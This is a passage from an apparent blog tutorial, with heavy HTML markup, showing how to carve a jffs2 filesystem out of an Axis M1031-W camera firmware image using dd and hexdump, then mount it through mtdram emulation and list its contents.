And there is the start of the jffs2 filesystem. Final part, let’s add the zip sections and mount the filesystem. In this part I could had done an easier approach but in my initial assumption the zip sections were unknown sections since I had no knowledge of the jffs2 filesystem’s location. &lt;br /&gt;
&lt;br /&gt;
A bit more slice and dice, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# dd if=AXIS_M1031-W.bin bs=1 skip=9443925 of=Zip.section.parts                  &lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 8463811+0 records in&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 8463811+0 records out&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 8463811 bytes (8&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;5 MB) copied, 158&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;606 s, 53&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;4 kB/s&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# cat jffs2.fs Zip.section.parts &amp;gt; jffs_and_tail         &lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Final cleanup of the jffs filesystem, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# hexdump -C jffs_and_tail | tail &lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 00dee3d0  e9 ba 6c 54 77 73 5f 75  73 65 72 73 85 19 02 e0  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;lTws_users&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 00dee3e0  44 00 00 00 1d fb f7 98  b6 02 00 00 01 00 00 00  |D&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 00dee3f0  a0 81 00 00 89 00 89 00  00 00 00 00 b2 bf 66 4c  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;fL|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 00dee400  b2 bf 66 4c b2 bf 66 4c  00 00 00 00 00 00 00 00  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;fL&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;fL&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 00dee410  00 00 00 00 00 00 00 00  00 00 00 00 f8 bc df cb  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 00dee420  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; &lt;span style=&quot;color: #cc6633;&quot;&gt;*&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 00f00000  31 37 30 20 20 20 20 20  20 20 20 20 20 20 32 36  |170           26|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 00f00010  39 32 34 30 30 39 34 31                           |92400941|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 00f00018&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# dd if=jffs_and_tail bs=1 count=$((00dee420)&lt;/span&gt;) of=jffs_clear&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
In order to mount the jffs2 we have two ways to do that, either &lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Have a block device emulate a Memory Technology Device (MTD) via block2mtd. or&lt;/li&gt;
&lt;li&gt;Have kernel memory emulate a MTD via mtdram. &lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
I choose the second way &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# mknod /tmp/mtdblock1 b 31 0&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# modprobe mtdblock&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# modprobe mtdram total_size=196608 erase_size=256&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# dd if=jffs_clear of=/tmp/mtdblock1&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# mount -t jffs2 /tmp/mtdblock1 /media/jffs2&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; root@system:~/axis/analysis&lt;span style=&quot;color: green;&quot;&gt;# cd /media/jffs2/&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; root@system:/media/jffs2&lt;span style=&quot;color: green;&quot;&gt;# ls -Fal&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; total 97&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; drwxr-xr-x 15 root root     0 1970-01-01 02:00 &lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; drwxr-xr-x  5 root root  4096 2011-08-21 14:52 &lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; drwxr-xr-x  2 root root     0 2010-10-25 14:43 bin/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; drwxr-xr-x  5 root root     0 2010-10-25 14:42 dev/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; -rw-r--r--  1 root root 61440 2010-10-25 14:42 &lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;dev&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;tar&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; lrwxrwxrwx  1 root root    13 2010-10-25 14:42 etc -&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt; mnt/flash/etc&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; drwxr-xr-x  7 root root     0 2010-10-25 14:43 lib/&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; drwxr-xr-x  3 root root     0 2010-10-25 14:43 libs/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; -rwxr-xr-x  1 root root  1770 2010-10-25 14:30 linuxrc&lt;span style=&quot;color: #cc6633;&quot;&gt;*&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; drwxr-xr-x  8 root root     0 2010-10-25 14:43 mnt/&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span 